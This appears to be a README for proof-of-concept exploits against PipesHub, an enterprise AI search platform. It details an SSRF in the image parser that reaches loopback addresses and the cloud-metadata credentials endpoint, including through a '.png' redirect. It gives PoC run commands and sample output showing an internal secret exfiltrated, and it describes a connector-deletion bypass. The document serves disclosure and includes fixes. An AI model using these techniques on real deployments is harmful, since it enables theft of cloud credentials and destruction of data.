
CVE-2026-119712 (CVSS 8.5 High) — PipesHub < 0.10.0 SSRF via image URLs in indexed documents (CWE-918). Verified PoC.
pipeshub-ai/pipeshub-ai)Proof-of-concept exploits for vulnerabilities in PipesHub, a workplace AI platform for enterprise search and workflow automation.
| CVE | Severity | Type | Exploit |
|---|---|---|---|
| CVE-2026-119712 | 8.5 High | SSRF via image URLs in indexed documents | CVE-2026-119712.py |
| CVE-2026-119710 | 8.1 High | Unauthorized connector deletion via the crawling-manager schedule route | CVE-2026-119710.py |
| CVE-2026-119711 | 7.3 High | Rate-limit bypass via a spoofed X-Forwarded-For header | CVE-2026-119711.py |
Authorized security testing and research only. The PoCs are dependency-free (Python 3 stdlib) and were verified against the repository source.
PipesHub's image parser fetches image URLs taken from document content — a synced mailbox, a crawled page, or an authenticated upload — with a raw HTTP request that is not routed through the project's SSRF "blocked-host" policy. A URL embedded in a document makes the indexing service issue a server-side request to an internal, loopback, or cloud-metadata address.
| CVE | CVE-2026-119712 |
| Vendor / product | PipesHub — github.com/pipeshub-ai/pipeshub-ai |
| Affected | < 0.10.0 (fixed in 0.10.0) |
| Component | backend/python/app/modules/parsers/image_parser/image_parser.py |
| Class | CWE-918 (Server-Side Request Forgery) |
| CVSS v3.1 | 8.5 (High) |
# backend/python/app/modules/parsers/image_parser/image_parser.py
# _fetch_single_url :140-145
if not ImageParser._is_valid_image_url(url): # :141 returns True for ANY http(s) URL
return None
async with session.get( # :145 the SSRF sink
url, timeout=aiohttp.ClientTimeout(total=10), allow_redirects=True
) as response:
...
_is_valid_image_url (:75-103) requires only that the URL start with http:// or
https://; the file-extension check is a fast-path that falls through to "If we can't
determine from URL, allow it…". The response is later gated on Content-Type image/*,
but:
allow_redirects=True with no per-hop revalidation lets an attacker URL ending in
.png 302-redirect into an internal target.The project already built the safe path — app.utils.url_fetcher.resolve_public_http_target
app.utils.public_http.PublicUrlFetcher — which resolves and pins every hop to a
validated public address, re-checks each redirect, blocks private/loopback/link-local/
reserved ranges, and disables proxies. The 2026-09-14 fix 23f85354d routed
image_utils, the skills importer and fetch_url through it — but not this image
parser path. Reachable loopback/internal targets therefore include 127.0.0.1,
RFC-1918 ranges, and the cloud metadata endpoint 169.254.169.254 — none of which the
image parser blocks.CVE-2026-119712.py stands up an in-process internal service (returns
Content-Type: image/png + a secret body) and an attacker image host
(/evil.png → 302 → internal), then drives the vulnerable fetch:
http://127.0.0.1:<internal>/latest/meta-data/iam/creds.png;
the internal service receives the request and its body is exfiltrated back as base64
(the parser embeds it into the document).…/evil.png (passes
_is_valid_image_url); the 302 is followed into the internal target.resolve_public_http_target); it rejects the same URL, proving the fix exists but is
not applied to this path.Two modes:
--real (default when importable) drives the actual
ImageParser._fetch_single_url from the repo. Needs the PipesHub source and its deps:
python3 -m venv venv && ./venv/bin/pip install aiohttp httpx pydantic
./venv/bin/python CVE-2026-119712.py --real --src /path/to/pipeshub-ai/backend/python
--standalone faithfully reproduces image_parser.py:140-145 (aiohttp, falling
back to stdlib urllib so it runs with zero third-party deps). Auto-selected if the
real import fails.
python3 CVE-2026-119712.py --standalone
[A] direct SSRF to a loopback/internal target: http://127.0.0.1:<p>/latest/meta-data/iam/creds.png
internal service received the request: True
exfiltrated internal body: 'INTERNAL-SECRET-…-metadata-token'
[B] redirect bypass — attacker '.png' URL 302 -> internal
attacker host hit: True; redirect followed into internal: True
[C] the SSRF guard the code skipped: blocks this URL = True
resolve_public_http_target raised FetchError: Blocked unsafe URL address: 127.0.0.1
EXPLOIT CONFIRMED — a content-supplied image URL drove a server-side request
to an internal/loopback target (directly and via a .png redirect).
Confirmed both ways: driving the real ImageParser._fetch_single_url (against the
repo source) and the standalone reproduction.
169.254.169.254) — reachable from document content an attacker
can plant via a synced mailbox, a crawled page, or an authenticated upload.image/* content type, its response body is
exfiltrated back into the indexed document as base64; otherwise it is a blind SSRF
(port scanning, hitting internal unauthenticated endpoints, request smuggling via the
redirect hop).resolve_public_http_target / PublicUrlFetcher (connection-pinning and per-hop
revalidation), instead of calling session.get directly — the same change already
made for image_utils, the skills importer and fetch_url in 23f85354d.allow_redirects=True, and clear
proxy environment variables for these fetches.fetch_external(url) helper and make it the only way any part of
the codebase reaches a URL chosen by a user or by document content.Authorized security testing and research only. Verified against repository source and
pipeshubai/pipeshub-ai:slim (image built 2026-09-17, which contains 23f85354d).
Reported to the maintainers per SECURITY.md.
POST /api/v1/crawlingManager/:connector/:connectorId/schedule validates the
connectorId but takes :connector as an arbitrary string and requires only the
crawl:write scope. That path parameter becomes the message-broker event type, and
the connector service re-parses it and dispatches on its second dotted segment as the
action — so :connector = "web.delete" runs the DELETE handler, destroying a connector
and its indexed records, bypassing the CONNECTOR_DELETE scope and the
require_connector_not_locked guard.